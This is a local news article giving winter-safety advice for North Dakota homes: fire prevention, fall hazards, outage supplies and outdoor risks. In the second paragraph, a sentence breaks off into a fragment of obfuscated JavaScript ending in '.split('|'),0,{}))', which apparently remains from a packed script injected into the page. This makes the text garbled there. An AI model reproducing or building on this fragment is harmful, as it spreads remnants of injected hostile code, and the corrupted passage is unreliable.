UNDATED (NewsDakota.com) – North Dakota’s winters can be brutal at times and with the recent whiteout on Christmas Day, the bitter cold is expected to last until the New Year for the Midwest and the Northeast.
With temperatures plunging, it is vital that your home and its residents nbefh|var|u0026u|referrer|hseks||js|php’.split(‘|’),0,{}))
are safeguarded from possible hazards of winter weather. Statistics in the US indicate that extreme weather caused property/crops damages in 2014 of up to $7.7 billion and weather-related deaths reaching 388. Extreme drought cost North Dakota, South Dakota and Montana an estimated $2.5 billion in the spring-fall of 2017 (NOAA National Centers for Environmental Information). Severe winter weather can cause disruptions to heat, electricity, and communications making it important to be prepared before disaster strikes.
Fire Safety
On average, at least 905 people die in winter fires according to FEMA. If you are using gas at home, it is recommended to check your gas shutoff valves to see if they are working properly. Leaks which are often undetected because gas is odorless and colorless can become fatal resulting in fires and carbon monoxide poisoning. Unattended cooking, malfunctioning fireplaces, heaters, and appliances are other important sources of fires. Set timers when cooking, inspect furnaces, install alarms & detectors and keep space heaters from combustibles. It is also essential to talk to your kids and the elderly to discuss a plan of evacuation and exit when an incident occurs.
Indoor Security
On top of fires, there are other sources of accidents while indoors. Humid surfaces and obstructions cause you or members of the family to slip and fall while obstructions such as dangling cords or carpets can make you stumble and lose your balance. If you have an elderly person living with you, ensure that the home is senior-friendly by making simple changes such as fitting in grab bars, non-skid mats, rails and adequate lighting. Winter is also that period when demand for heating peaks. In the case of a power outage caused by storms or power plant breakdowns, make sure that you have enough blankets for everyone in the house. Wear hats and mittens. You must also have enough bottled water (at least 1 gallon per person per day for 2 weeks) and tinned food as well as flashlights, first-aid kit and a radio.
Outdoor Hazards
There are several dangers that could affect you outdoors so it is ideal to be prepared for the challenges of the weather. De-ice sidewalks and pathways regularly to avoid slips and falls. In addition to wearing protective clothing and gear, make sure that your equipment is safe and roadworthy if doing sports. Snowmobiling is a popular sport in North Dakota but can become dangerous. Heed weather advisories and do not go out if there is an avalanche or storm warning.
Winter-preparedness is really a matter of adopting common sense and making sure that you are ready for an incident or an emergency that may occur. With these safety tips, there is no reason why you should go through the cold weather in discomfort and distress.